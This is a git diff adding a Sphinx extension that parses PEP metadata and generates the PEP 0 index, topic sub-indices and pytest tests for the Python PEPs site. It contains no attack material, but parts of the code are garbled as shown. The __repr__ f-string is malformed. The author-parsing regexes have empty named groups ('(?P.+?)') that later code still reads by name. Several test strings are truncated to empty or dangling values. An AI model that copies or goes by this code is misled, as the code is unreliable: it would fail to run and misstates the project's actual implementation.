+        self.discussions_to = metadata["Discussions-To"]
+        self.python_version = metadata["Python-Version"]
+        self.replaces = metadata["Replaces"]
+        self.requires = metadata["Requires"]
+        self.resolution = metadata["Resolution"]
+        self.superseded_by = metadata["Superseded-By"]
+        if metadata["Post-History"]:
+            # Squash duplicate whitespace
+            self.post_history = " ".join(metadata["Post-History"].split())
+        else:
+            self.post_history = None
+
+    def __repr__(self) -> str:
+        return f"4} - {self.title}>"
+
+    def __lt__(self, other: PEP) -> bool:
+        return self.number < other.number
+
+    def __eq__(self, other):
+        return self.number == other.number
+
+    @property
+    def details(self) -> dict[str, str | int]:
+        """Return the line entry for the PEP."""
+        return {
+            # how the type is to be represented in the index
+            "type": self.pep_type[0].upper(),
+            "number": self.number,
+            "title": self.title,
+            # how the status should be represented in the index
+            "status": " " if self.status in HIDE_STATUS else self.status[0].upper(),
+            # the author list as a comma-separated with only last names
+            "authors": ", ".join(author.nick for author in self.authors),
+        }
+
+    @property
+    def full_details(self) -> dict[str, str]:
+        """Returns all headers of the PEP as a dict."""
+        return {
+            "title": self.title,
+            "authors": ", ".join(author.nick for author in self.authors),
+            "discussions_to": self.discussions_to,
+            "status": self.status,
+            "type": self.pep_type,
+            "topic": ", ".join(sorted(self.topic)),
+            "created": self.created,
+            "python_version": self.python_version,
+            "post_history": self.post_history,
+            "resolution": self.resolution,
+            "requires": self.requires,
+            "replaces": self.replaces,
+            "superseded_by": self.superseded_by,
+            "url": f"https://peps.python.org/pep-{self.number:0>4}/",
+        }
+
+
+def _raise_pep_error(pep: PEP, msg: str, pep_num: bool = False) -> None:
+    if pep_num:
+        raise PEPError(msg, pep.filename, pep_number=pep.number)
+    raise PEPError(msg, pep.filename)
+
+
+def _parse_authors(pep: PEP, author_header: str, authors_overrides: dict) -> list[Author]:
+    """Parse Author header line"""
+    authors_and_emails = _parse_author(author_header)
+    if not authors_and_emails:
+        raise _raise_pep_error(pep, "no authors found", pep_num=True)
+    return [parse_author_email(author_tuple, authors_overrides) for author_tuple in authors_and_emails]
+
+
+author_angled = re.compile(r"(?P.+?) <(?P.+?)>(,\s*)?")
+author_paren = re.compile(r"(?P.+?) \((?P.+?)\)(,\s*)?")
+author_simple = re.compile(r"(?P[^,]+)(,\s*)?")
+
+
+def _parse_author(data: str) -> list[tuple[str, str]]:
+    """Return a list of author names and emails."""
+
+    author_list = []
+    for regex in (author_angled, author_paren, author_simple):
+        for match in regex.finditer(data):
+            # Watch out for suffixes like 'Jr.' when they are comma-separated
+            # from the name and thus cause issues when *all* names are only
+            # separated by commas.
+            match_dict = match.groupdict()
+            author = match_dict["author"]
+            if not author.partition(" ")[1] and author.endswith("."):
+                prev_author = author_list.pop()
+                author = ", ".join([prev_author, author])
+            if "email" not in match_dict:
+                email = ""
+            else:
+                email = match_dict["email"]
+            author_list.append((author, email))
+
+        # If authors were found then stop searching as only expect one
+        # style of author citation.
+        if author_list:
+            break
+    return author_list
diff --git a/pep_sphinx_extensions/pep_zero_generator/pep_index_generator.py b/pep_sphinx_extensions/pep_zero_generator/pep_index_generator.py
new file mode 100644
index 00000000000..4ebaf0cbf9c
--- /dev/null
+++ b/pep_sphinx_extensions/pep_zero_generator/pep_index_generator.py
@@ -0,0 +1,67 @@
+"""Automatically create PEP 0 (the PEP index),
+
+This file generates and writes the PEP index to disk, ready for later
+processing by Sphinx. Firstly, we parse the individual PEP files, getting the
+RFC2822 header, and parsing and then validating that metadata.
+
+After collecting and validating all the PEP data, the creation of the index
+itself is in three steps:
+
+    1. Output static text.
+    2. Format an entry for the PEP.
+    3. Output the PEP (both by the category and numerical index).
+
+We then add the newly created PEP 0 file to two Sphinx environment variables
+to allow it to be processed as normal.
+
+"""
+from __future__ import annotations
+
+import json
+from pathlib import Path
+from typing import TYPE_CHECKING
+
+from pep_sphinx_extensions.pep_zero_generator.constants import SUBINDICES_BY_TOPIC
+from pep_sphinx_extensions.pep_zero_generator import parser
+from pep_sphinx_extensions.pep_zero_generator import subindices
+from pep_sphinx_extensions.pep_zero_generator import writer
+
+if TYPE_CHECKING:
+    from sphinx.application import Sphinx
+    from sphinx.environment import BuildEnvironment
+
+
+def _parse_peps() -> list[parser.PEP]:
+    # Read from root directory
+    path = Path(".")
+    peps: list[parser.PEP] = []
+
+    for file_path in path.iterdir():
+        if not file_path.is_file():
+            continue  # Skip directories etc.
+        if file_path.match("pep-0000*"):
+            continue  # Skip pre-existing PEP 0 files
+        if file_path.match("pep-????.???") and file_path.suffix in {".txt", ".rst"}:
+            pep = parser.PEP(path.joinpath(file_path).absolute())
+            peps.append(pep)
+
+    return sorted(peps)
+
+
+def create_pep_json(peps: list[parser.PEP]) -> str:
+    return json.dumps({pep.number: pep.full_details for pep in peps}, indent=1)
+
+
+def create_pep_zero(app: Sphinx, env: BuildEnvironment, docnames: list[str]) -> None:
+    peps = _parse_peps()
+
+    pep0_text = writer.PEPZeroWriter().write_pep0(peps)
+    pep0_path = subindices.update_sphinx("pep-0000", pep0_text, docnames, env)
+    peps.append(parser.PEP(pep0_path))
+
+    subindices.generate_subindices(SUBINDICES_BY_TOPIC, peps, docnames, env)
+
+    # Create peps.json
+    json_path = Path(app.outdir, "api", "peps.json").resolve()
+    json_path.parent.mkdir(exist_ok=True)
+    json_path.write_text(create_pep_json(peps), encoding="utf-8")
diff --git a/pep_sphinx_extensions/pep_zero_generator/subindices.py b/pep_sphinx_extensions/pep_zero_generator/subindices.py
new file mode 100644
index 00000000000..62e138d1797
--- /dev/null
+++ b/pep_sphinx_extensions/pep_zero_generator/subindices.py
@@ -0,0 +1,71 @@
+"""Utilities to support sub-indices for PEPs."""
+
+from __future__ import annotations
+
+from pathlib import Path
+from typing import TYPE_CHECKING
+
+from pep_sphinx_extensions.pep_zero_generator import writer
+
+if TYPE_CHECKING:
+    from sphinx.environment import BuildEnvironment
+
+    from pep_sphinx_extensions.pep_zero_generator.parser import PEP
+
+
+def update_sphinx(filename: str, text: str, docnames: list[str], env: BuildEnvironment) -> Path:
+    file_path = Path(f"{filename}.rst").resolve()
+    file_path.parent.mkdir(parents=True, exist_ok=True)
+    file_path.write_text(text, encoding="utf-8")
+
+    # Add to files for builder
+    docnames.append(filename)
+    # Add to files for writer
+    env.found_docs.add(filename)
+
+    return file_path
+
+
+def generate_subindices(
+    subindices: dict[str, str],
+    peps: list[PEP],
+    docnames: list[str],
+    env: BuildEnvironment,
+) -> None:
+    # Create sub index page
+    generate_topic_contents(docnames, env)
+
+    for subindex, additional_description in subindices.items():
+        header_text = f"{subindex.title()} PEPs"
+        header_line = "#" * len(header_text)
+        header = header_text + "\n" + header_line + "\n"
+
+        topic = subindex.lower()
+        filtered_peps = [pep for pep in peps if topic in pep.topic]
+        subindex_intro = f"""\
+This is the index of all Python Enhancement Proposals (PEPs) labelled
+under the '{subindex.title()}' topic. This is a sub-index of :pep:`0`,
+the PEP index.
+
+{additional_description}
+"""
+        subindex_text = writer.PEPZeroWriter().write_pep0(
+            filtered_peps, header, subindex_intro, is_pep0=False,
+        )
+        update_sphinx(f"topic/{subindex}", subindex_text, docnames, env)
+
+
+def generate_topic_contents(docnames: list[str], env: BuildEnvironment):
+    update_sphinx(f"topic/index", """\
+Topic Index
+***********
+
+PEPs are indexed by topic on the pages below:
+
+.. toctree::
+   :maxdepth: 1
+   :titlesonly:
+   :glob:
+
+   *
+""", docnames, env)
diff --git a/pep_sphinx_extensions/pep_zero_generator/writer.py b/pep_sphinx_extensions/pep_zero_generator/writer.py
new file mode 100644
index 00000000000..75459e64c06
--- /dev/null
+++ b/pep_sphinx_extensions/pep_zero_generator/writer.py
@@ -0,0 +1,304 @@
+"""Code to handle the output of PEP 0."""
+
+from __future__ import annotations
+
+import datetime
+from typing import TYPE_CHECKING
+import unicodedata
+
+from pep_sphinx_extensions.pep_zero_generator.constants import DEAD_STATUSES
+from pep_sphinx_extensions.pep_zero_generator.constants import HIDE_STATUS
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_ACCEPTED
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_ACTIVE
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_DEFERRED
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_DRAFT
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_FINAL
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_PROVISIONAL
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_REJECTED
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_VALUES
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_WITHDRAWN
+from pep_sphinx_extensions.pep_zero_generator.constants import TYPE_INFO
+from pep_sphinx_extensions.pep_zero_generator.constants import TYPE_PROCESS
+from pep_sphinx_extensions.pep_zero_generator.constants import TYPE_VALUES
+from pep_sphinx_extensions.pep_zero_generator.errors import PEPError
+
+if TYPE_CHECKING:
+    from pep_sphinx_extensions.pep_zero_generator.parser import PEP
+
+HEADER = f"""\
+PEP: 0
+Title: Index of Python Enhancement Proposals (PEPs)
+Last-Modified: {datetime.date.today()}
+Author: python-dev 
+Status: Active
+Type: Informational
+Content-Type: text/x-rst
+Created: 13-Jul-2000
+"""
+
+INTRO = """\
+This PEP contains the index of all Python Enhancement Proposals,
+known as PEPs.  PEP numbers are :pep:`assigned <1#pep-editors>`
+by the PEP editors, and once assigned are never changed.  The
+`version control history `_ of
+the PEP texts represent their historical record.  The PEPs are
+:doc:`indexed by topic ` for specialist subjects.
+"""
+
+
+class PEPZeroWriter:
+    # This is a list of reserved PEP numbers.  Reservations are not to be used for
+    # the normal PEP number allocation process - just give out the next available
+    # PEP number.  These are for "special" numbers that may be used for semantic,
+    # humorous, or other such reasons, e.g. 401, 666, 754.
+    #
+    # PEP numbers may only be reserved with the approval of a PEP editor.  Fields
+    # here are the PEP number being reserved and the claimants for the PEP.
+    # Although the output is sorted when PEP 0 is generated, please keep this list
+    # sorted as well.
+    RESERVED = {
+        801: "Warsaw",
+    }
+
+    def __init__(self):
+        self.output: list[str] = []
+
+    def emit_text(self, content: str) -> None:
+        # Appends content argument to the output list
+        self.output.append(content)
+
+    def emit_newline(self) -> None:
+        self.output.append("")
+
+    def emit_author_table_separator(self, max_name_len: int) -> None:
+        author_table_separator = "=" * max_name_len + "  " + "=" * len("email address")
+        self.output.append(author_table_separator)
+
+    def emit_pep_row(self, *, type: str, status: str, number: int, title: str, authors: str) -> None:
+        self.emit_text(f"   * - {type}{status}")
+        self.emit_text(f"     - :pep:`{number} <{number}>`")
+        self.emit_text(f"     - :pep:`{title.replace('`', '')} <{number}>`")
+        self.emit_text(f"     - {authors}")
+
+    def emit_column_headers(self) -> None:
+        """Output the column headers for the PEP indices."""
+        self.emit_text(".. list-table::")
+        self.emit_text("   :header-rows: 1")
+        self.emit_text("   :widths: auto")
+        self.emit_text("   :class: pep-zero-table")
+        self.emit_newline()
+        self.emit_text("   * - ")
+        self.emit_text("     - PEP")
+        self.emit_text("     - Title")
+        self.emit_text("     - Authors")
+
+    def emit_title(self, text: str, *, symbol: str = "=") -> None:
+        self.output.append(text)
+        self.output.append(symbol * len(text))
+        self.emit_newline()
+
+    def emit_subtitle(self, text: str) -> None:
+        self.emit_title(text, symbol="-")
+
+    def emit_pep_category(self, category: str, peps: list[PEP]) -> None:
+        self.emit_subtitle(category)
+        self.emit_column_headers()
+        for pep in peps:
+            self.emit_pep_row(**pep.details)
+        # list-table must have at least one body row
+        if len(peps) == 0:
+            self.emit_text("   * -")
+            self.emit_text("     -")
+            self.emit_text("     -")
+            self.emit_text("     -")
+        self.emit_newline()
+
+    def write_pep0(self, peps: list[PEP], header: str = HEADER, intro: str = INTRO, is_pep0: bool = True):
+        if len(peps) == 0:
+            return ""
+
+        # PEP metadata
+        self.emit_text(header)
+        self.emit_newline()
+
+        # Introduction
+        self.emit_title("Introduction")
+        self.emit_text(intro)
+        self.emit_newline()
+
+        # PEPs by category
+        self.emit_title("Index by Category")
+        meta, info, provisional, accepted, open_, finished, historical, deferred, dead = _classify_peps(peps)
+        pep_categories = [
+            ("Meta-PEPs (PEPs about PEPs or Processes)", meta),
+            ("Other Informational PEPs", info),
+            ("Provisional PEPs (provisionally accepted; interface may still change)", provisional),
+            ("Accepted PEPs (accepted; may not be implemented yet)", accepted),
+            ("Open PEPs (under consideration)", open_),
+            ("Finished PEPs (done, with a stable interface)", finished),
+            ("Historical Meta-PEPs and Informational PEPs", historical),
+            ("Deferred PEPs (postponed pending further research or updates)", deferred),
+            ("Abandoned, Withdrawn, and Rejected PEPs", dead),
+        ]
+        for (category, peps_in_category) in pep_categories:
+            # For sub-indices, only emit categories with entries.
+            # For PEP 0, emit every category
+            if is_pep0 or len(peps_in_category) > 0:
+                self.emit_pep_category(category, peps_in_category)
+
+        self.emit_newline()
+
+        # PEPs by number
+        self.emit_title("Numerical Index")
+        self.emit_column_headers()
+        for pep in peps:
+            self.emit_pep_row(**pep.details)
+
+        self.emit_newline()
+
+        # Reserved PEP numbers
+        if is_pep0:
+            self.emit_title("Reserved PEP Numbers")
+            self.emit_column_headers()
+            for number, claimants in sorted(self.RESERVED.items()):
+                self.emit_pep_row(type="", status="", number=number, title="RESERVED", authors=claimants)
+
+
+            self.emit_newline()
+
+        # PEP types key
+        self.emit_title("PEP Types Key")
+        for type_ in sorted(TYPE_VALUES):
+            self.emit_text(f"    {type_[0]} - {type_} PEP")
+            self.emit_newline()
+
+        self.emit_newline()
+
+        # PEP status key
+        self.emit_title("PEP Status Key")
+        for status in sorted(STATUS_VALUES):
+            # Draft PEPs have no status displayed, Active shares a key with Accepted
+            if status in HIDE_STATUS:
+                continue
+            if status == STATUS_ACCEPTED:
+                msg = "    A - Accepted (Standards Track only) or Active proposal"
+            else:
+                msg = f"    {status[0]} - {status} proposal"
+            self.emit_text(msg)
+            self.emit_newline()
+
+        self.emit_newline()
+
+        # PEP owners
+        authors_dict = _verify_email_addresses(peps)
+        max_name_len = max(len(author_name) for author_name in authors_dict)
+        self.emit_title("Authors/Owners")
+        self.emit_author_table_separator(max_name_len)
+        self.emit_text(f"{'Name':{max_name_len}}  Email Address")
+        self.emit_author_table_separator(max_name_len)
+        for author_name in _sort_authors(authors_dict):
+            # Use the email from authors_dict instead of the one from "author" as
+            # the author instance may have an empty email.
+            self.emit_text(f"{author_name:{max_name_len}}  {authors_dict[author_name]}")
+        self.emit_author_table_separator(max_name_len)
+        self.emit_newline()
+        self.emit_newline()
+
+        pep0_string = "\n".join([str(s) for s in self.output])
+        return pep0_string
+
+
+def _classify_peps(peps: list[PEP]) -> tuple[list[PEP], ...]:
+    """Sort PEPs into meta, informational, accepted, open, finished,
+    and essentially dead."""
+    meta = []
+    info = []
+    provisional = []
+    accepted = []
+    open_ = []
+    finished = []
+    historical = []
+    deferred = []
+    dead = []
+    for pep in peps:
+        # Order of 'if' statement important.  Key Status values take precedence
+        # over Type value, and vice-versa.
+        if pep.status == STATUS_DRAFT:
+            open_.append(pep)
+        elif pep.status == STATUS_DEFERRED:
+            deferred.append(pep)
+        elif pep.pep_type == TYPE_PROCESS:
+            if pep.status in {STATUS_ACCEPTED, STATUS_ACTIVE}:
+                meta.append(pep)
+            elif pep.status in {STATUS_WITHDRAWN, STATUS_REJECTED}:
+                dead.append(pep)
+            else:
+                historical.append(pep)
+        elif pep.status in DEAD_STATUSES:
+            dead.append(pep)
+        elif pep.pep_type == TYPE_INFO:
+            # Hack until the conflict between the use of "Final"
+            # for both API definition PEPs and other (actually
+            # obsolete) PEPs is addressed
+            if pep.status == STATUS_ACTIVE or "Release Schedule" not in pep.title:
+                info.append(pep)
+            else:
+                historical.append(pep)
+        elif pep.status == STATUS_PROVISIONAL:
+            provisional.append(pep)
+        elif pep.status in {STATUS_ACCEPTED, STATUS_ACTIVE}:
+            accepted.append(pep)
+        elif pep.status == STATUS_FINAL:
+            finished.append(pep)
+        else:
+            raise PEPError(f"Unsorted ({pep.pep_type}/{pep.status})", pep.filename, pep.number)
+    return meta, info, provisional, accepted, open_, finished, historical, deferred, dead
+
+
+def _verify_email_addresses(peps: list[PEP]) -> dict[str, str]:
+    authors_dict: dict[str, set[str]] = {}
+    for pep in peps:
+        for author in pep.authors:
+            # If this is the first time we have come across an author, add them.
+            if author.last_first not in authors_dict:
+                authors_dict[author.last_first] = set()
+
+            # If the new email is an empty string, move on.
+            if not author.email:
+                continue
+            # If the email has not been seen, add it to the list.
+            authors_dict[author.last_first].add(author.email)
+
+    valid_authors_dict: dict[str, str] = {}
+    too_many_emails: list[tuple[str, set[str]]] = []
+    for last_first, emails in authors_dict.items():
+        if len(emails) > 1:
+            too_many_emails.append((last_first, emails))
+        else:
+            valid_authors_dict[last_first] = next(iter(emails), "")
+    if too_many_emails:
+        err_output = []
+        for author, emails in too_many_emails:
+            err_output.append(" " * 4 + f"{author}: {emails}")
+        raise ValueError(
+            "some authors have more than one email address listed:\n"
+            + "\n".join(err_output)
+        )
+
+    return valid_authors_dict
+
+
+def _sort_authors(authors_dict: dict[str, str]) -> list[str]:
+    return sorted(authors_dict, key=_author_sort_by)
+
+
+def _author_sort_by(author_name: str) -> str:
+    """Skip lower-cased words in surname when sorting."""
+    surname, *_ = author_name.split(",")
+    surname_parts = surname.split()
+    for i, part in enumerate(surname_parts):
+        if part[0].isupper():
+            base = " ".join(surname_parts[i:]).lower()
+            return unicodedata.normalize("NFKD", base)
+    # If no capitals, use the whole string
+    return unicodedata.normalize("NFKD", surname.lower())
diff --git a/pep_sphinx_extensions/tests/__init__.py b/pep_sphinx_extensions/tests/__init__.py
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_footer.py b/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_footer.py
new file mode 100644
index 00000000000..ad8cf278227
--- /dev/null
+++ b/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_footer.py
@@ -0,0 +1,34 @@
+from pathlib import Path
+
+from pep_sphinx_extensions.pep_processor.transforms import pep_footer
+
+
+def test_add_source_link():
+    out = pep_footer._add_source_link(Path("pep-0008.txt"))
+
+    assert "https://github.com/python/peps/blob/main/pep-0008.txt" in str(out)
+
+
+def test_add_commit_history_info():
+    out = pep_footer._add_commit_history_info(Path("pep-0008.txt"))
+
+    assert str(out).startswith(
+        "Last modified: "
+        ''
+    )
+    # A variable timestamp comes next, don't test that
+    assert str(out).endswith("")
+
+
+def test_add_commit_history_info_invalid():
+    out = pep_footer._add_commit_history_info(Path("pep-not-found.txt"))
+
+    assert str(out) == ""
+
+
+def test_get_last_modified_timestamps():
+    out = pep_footer._get_last_modified_timestamps()
+
+    assert len(out) >= 585
+    # Should be a Unix timestamp and at least this
+    assert out["pep-0008.txt"] >= 1643124055
diff --git a/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_headers.py b/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_headers.py
new file mode 100644
index 00000000000..21e39808240
--- /dev/null
+++ b/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_headers.py
@@ -0,0 +1,114 @@
+import pytest
+
+from pep_sphinx_extensions.pep_processor.transforms import pep_headers
+
+
+@pytest.mark.parametrize(
+    "test_input, expected",
+    [
+        ("my-mailing-list@example.com", "my-mailing-list@example.com"),
+        ("python-tulip@googlegroups.com", "https://groups.google.com/g/python-tulip"),
+        ("db-sig@python.org", "https://mail.python.org/mailman/listinfo/db-sig"),
+        ("import-sig@python.org", "https://mail.python.org/pipermail/import-sig/"),
+        (
+            "python-announce@python.org",
+            "https://mail.python.org/archives/list/python-announce@python.org/",
+        ),
+    ],
+)
+def test_generate_list_url(test_input, expected):
+    out = pep_headers._generate_list_url(test_input)
+
+    assert out == expected
+
+
+@pytest.mark.parametrize(
+    "test_input, expected",
+    [
+        (
+            "https://mail.python.org/pipermail/python-3000/2006-November/004190.html",
+            ("Python-3000", "message"),
+        ),
+        (
+            "https://mail.python.org/archives/list/python-dev@python.org/thread/HW2NFOEMCVCTAFLBLC3V7MLM6ZNMKP42/",
+            ("Python-Dev", "thread"),
+        ),
+        (
+            "https://mail.python.org/mailman3/lists/capi-sig.python.org/",
+            ("Capi-SIG", "list"),
+        ),
+        (
+            "https://mail.python.org/mailman/listinfo/web-sig",
+            ("Web-SIG", "list"),
+        ),
+        (
+            "https://discuss.python.org/t/pep-643-metadata-for-package-source-distributions/5577",
+            ("Discourse", "thread"),
+        ),
+        (
+            "https://discuss.python.org/c/peps/",
+            ("PEPs Discourse", "category"),
+        ),
+    ],
+)
+def test_process_pretty_url(test_input, expected):
+    out = pep_headers._process_pretty_url(test_input)
+
+    assert out == expected
+
+
+@pytest.mark.parametrize(
+    "test_input, expected",
+    [
+        (
+            "https://example.com/",
+            "https://example.com/ not a link to a recognized domain to prettify",
+        ),
+        (
+            "https://mail.python.org",
+            "https://mail.python.org not a link to a list, message or thread",
+        ),
+        (
+            "https://discuss.python.org/",
+            "https://discuss.python.org not a link to a Discourse thread or category",
+        ),
+    ],
+)
+def test_process_pretty_url_invalid(test_input, expected):
+    with pytest.raises(ValueError, match=expected):
+        pep_headers._process_pretty_url(test_input)
+
+
+@pytest.mark.parametrize(
+    "test_input, expected",
+    [
+        (
+            "https://mail.python.org/pipermail/python-3000/2006-November/004190.html",
+            "Python-3000 message",
+        ),
+        (
+            "https://mail.python.org/archives/list/python-dev@python.org/thread/HW2NFOEMCVCTAFLBLC3V7MLM6ZNMKP42/",
+            "Python-Dev thread",
+        ),
+        (
+            "https://mail.python.org/mailman3/lists/capi-sig.python.org/",
+            "Capi-SIG list",
+        ),
+        (
+            "https://mail.python.org/mailman/listinfo/web-sig",
+            "Web-SIG list",
+        ),
+        (
+            "https://discuss.python.org/t/pep-643-metadata-for-package-source-distributions/5577",
+            "Discourse thread",
+        ),
+        (
+            "https://discuss.python.org/c/peps/",
+            "PEPs Discourse category",
+        ),
+    ],
+)
+def test_make_link_pretty(test_input, expected):
+    out = pep_headers._make_link_pretty(test_input)
+
+    assert out == expected
diff --git a/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_zero.py b/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_zero.py
new file mode 100644
index 00000000000..09b2effead1
--- /dev/null
+++ b/pep_sphinx_extensions/tests/pep_processor/transform/test_pep_zero.py
@@ -0,0 +1,25 @@
+import pytest
+from docutils import nodes
+
+from pep_sphinx_extensions.pep_processor.transforms import pep_zero
+
+
+@pytest.mark.parametrize(
+    "test_input, expected",
+    [
+        (
+            nodes.reference(
+                "", text="user@example.com", refuri="mailto:user@example.com"
+            ),
+            'user at example.com',
+        ),
+        (
+            nodes.reference("", text="Introduction", refid="introduction"),
+            'Introduction',
+        ),
+    ],
+)
+def test_generate_list_url(test_input, expected):
+    out = pep_zero._mask_email(test_input)
+
+    assert str(out) == expected
diff --git a/pep_sphinx_extensions/tests/pep_zero_generator/test_author.py b/pep_sphinx_extensions/tests/pep_zero_generator/test_author.py
new file mode 100644
index 00000000000..8334b1c5f85
--- /dev/null
+++ b/pep_sphinx_extensions/tests/pep_zero_generator/test_author.py
@@ -0,0 +1,69 @@
+import pytest
+
+from pep_sphinx_extensions.pep_zero_generator import author
+from pep_sphinx_extensions.tests.utils import AUTHORS_OVERRIDES
+
+
+@pytest.mark.parametrize(
+    "test_input, expected",
+    [
+        (
+            ("First Last", "first@example.com"),
+            author.Author(
+                last_first="Last, First", nick="Last", email="first@example.com"
+            ),
+        ),
+        (
+            ("Guido van Rossum", "guido@example.com"),
+            author.Author(
+                last_first="van Rossum, Guido (GvR)",
+                nick="GvR",
+                email="guido@example.com",
+            ),
+        ),
+        (
+            ("Hugo van Kemenade", "hugo@example.com"),
+            author.Author(
+                last_first="van Kemenade, Hugo",
+                nick="van Kemenade",
+                email="hugo@example.com",
+            ),
+        ),
+        (
+            ("Eric N. Vander Weele", "eric@example.com"),
+            author.Author(
+                last_first="Vander Weele, Eric N.",
+                nick="Vander Weele",
+                email="eric@example.com",
+            ),
+        ),
+        (
+            ("Mariatta", "mariatta@example.com"),
+            author.Author(
+                last_first="Mariatta", nick="Mariatta", email="mariatta@example.com"
+            ),
+        ),
+        (
+            ("First Last Jr.", "first@example.com"),
+            author.Author(
+                last_first="Last, First, Jr.", nick="Last", email="first@example.com"
+            ),
+        ),
+        pytest.param(
+            ("First Last", "first at example.com"),
+            author.Author(
+                last_first="Last, First", nick="Last", email="first@example.com"
+            ),
+            marks=pytest.mark.xfail,
+        ),
+    ],
+)
+def test_parse_author_email(test_input, expected):
+    out = author.parse_author_email(test_input, AUTHORS_OVERRIDES)
+
+    assert out == expected
+
+
+def test_parse_author_email_empty_name():
+    with pytest.raises(ValueError, match="Name is empty!"):
+        author.parse_author_email(("", "user@example.com"), AUTHORS_OVERRIDES)
diff --git a/pep_sphinx_extensions/tests/pep_zero_generator/test_parser.py b/pep_sphinx_extensions/tests/pep_zero_generator/test_parser.py
new file mode 100644
index 00000000000..e84dd98ddec
--- /dev/null
+++ b/pep_sphinx_extensions/tests/pep_zero_generator/test_parser.py
@@ -0,0 +1,81 @@
+from pathlib import Path
+
+import pytest
+
+from pep_sphinx_extensions.pep_zero_generator import parser
+from pep_sphinx_extensions.pep_zero_generator.author import Author
+from pep_sphinx_extensions.pep_zero_generator.errors import PEPError
+from pep_sphinx_extensions.tests.utils import AUTHORS_OVERRIDES
+
+
+def test_pep_repr():
+    pep8 = parser.PEP(Path("pep-0008.txt"))
+
+    assert repr(pep8) == ""
+
+
+def test_pep_less_than():
+    pep8 = parser.PEP(Path("pep-0008.txt"))
+    pep3333 = parser.PEP(Path("pep-3333.txt"))
+
+    assert pep8 < pep3333
+
+
+def test_pep_equal():
+    pep_a = parser.PEP(Path("pep-0008.txt"))
+    pep_b = parser.PEP(Path("pep-0008.txt"))
+
+    assert pep_a == pep_b
+
+
+def test_pep_details(monkeypatch):
+    pep8 = parser.PEP(Path("pep-0008.txt"))
+
+    assert pep8.details == {
+        "authors": "GvR, Warsaw, Coghlan",
+        "number": 8,
+        "status": " ",
+        "title": "Style Guide for Python Code",
+        "type": "P",
+    }
+
+
+@pytest.mark.parametrize(
+    "test_input, expected",
+    [
+        (
+            "First Last ",
+            [Author(last_first="Last, First", nick="Last", email="user@example.com")],
+        ),
+        (
+            "First Last",
+            [Author(last_first="Last, First", nick="Last", email="")],
+        ),
+        (
+            "user@example.com (First Last)",
+            [Author(last_first="Last, First", nick="Last", email="user@example.com")],
+        ),
+        pytest.param(
+            "First Last ",
+            [Author(last_first="Last, First", nick="Last", email="user@example.com")],
+            marks=pytest.mark.xfail,
+        ),
+    ],
+)
+def test_parse_authors(test_input, expected):
+    # Arrange
+    dummy_object = parser.PEP(Path("pep-0160.txt"))
+
+    # Act
+    out = parser._parse_authors(dummy_object, test_input, AUTHORS_OVERRIDES)
+
+    # Assert
+    assert out == expected
+
+
+def test_parse_authors_invalid():
+
+    pep = parser.PEP(Path("pep-0008.txt"))
+
+    with pytest.raises(PEPError, match="no authors found"):
+        parser._parse_authors(pep, "", AUTHORS_OVERRIDES)
diff --git a/pep_sphinx_extensions/tests/pep_zero_generator/test_pep_index_generator.py b/pep_sphinx_extensions/tests/pep_zero_generator/test_pep_index_generator.py
new file mode 100644
index 00000000000..c2e15844fe4
--- /dev/null
+++ b/pep_sphinx_extensions/tests/pep_zero_generator/test_pep_index_generator.py
@@ -0,0 +1,11 @@
+from pathlib import Path
+
+from pep_sphinx_extensions.pep_zero_generator import parser, pep_index_generator
+
+
+def test_create_pep_json():
+    peps = [parser.PEP(Path("pep-0008.txt"))]
+
+    out = pep_index_generator.create_pep_json(peps)
+
+    assert '"url": "https://peps.python.org/pep-0008/"' in out
diff --git a/pep_sphinx_extensions/tests/pep_zero_generator/test_writer.py b/pep_sphinx_extensions/tests/pep_zero_generator/test_writer.py
new file mode 100644
index 00000000000..19eeca2d959
--- /dev/null
+++ b/pep_sphinx_extensions/tests/pep_zero_generator/test_writer.py
@@ -0,0 +1,71 @@
+from pathlib import Path
+
+import pytest
+
+from pep_sphinx_extensions.pep_zero_generator import parser, writer
+
+
+def test_pep_zero_writer_emit_text_newline():
+    pep0_writer = writer.PEPZeroWriter()
+    pep0_writer.emit_text("my text 1")
+    pep0_writer.emit_newline()
+    pep0_writer.emit_text("my text 2")
+
+    assert pep0_writer.output == ["my text 1", "", "my text 2"]
+
+
+def test_pep_zero_writer_emit_title():
+    pep0_writer = writer.PEPZeroWriter()
+    pep0_writer.emit_title("My Title")
+    pep0_writer.emit_subtitle("My Subtitle")
+
+    assert pep0_writer.output == [
+        "My Title",
+        "========",
+        "",
+        "My Subtitle",
+        "-----------",
+        "",
+    ]
+
+
+@pytest.mark.parametrize(
+    "test_input, expected",
+    [
+        (
+            "pep-9000.rst",
+            {
+                "Fussyreverend, Francis": "one@example.com",
+                "Soulfulcommodore, Javier": "two@example.com",
+            },
+        ),
+        (
+            "pep-9001.rst",
+            {"Fussyreverend, Francis": "", "Soulfulcommodore, Javier": ""},
+        ),
+    ],
+)
+def test_verify_email_addresses(test_input, expected):
+    # Arrange
+    peps = [parser.PEP(Path(f"pep_sphinx_extensions/tests/peps/{test_input}"))]
+
+    # Act
+    out = writer._verify_email_addresses(peps)
+
+    # Assert
+    assert out == expected
+
+
+def test_sort_authors():
+    # Arrange
+    authors_dict = {
+        "Zebra, Zoë": "zoe@example.com",
+        "lowercase, laurence": "laurence@example.com",
+        "Aardvark, Alfred": "alfred@example.com",
+    }
+
+    # Act
+    out = writer._sort_authors(authors_dict)
+
+    # Assert
+    assert out == ["Aardvark, Alfred", "lowercase, laurence", "Zebra, Zoë"]
diff --git a/pep_sphinx_extensions/tests/peps/pep-9000.rst b/pep_sphinx_extensions/tests/peps/pep-9000.rst
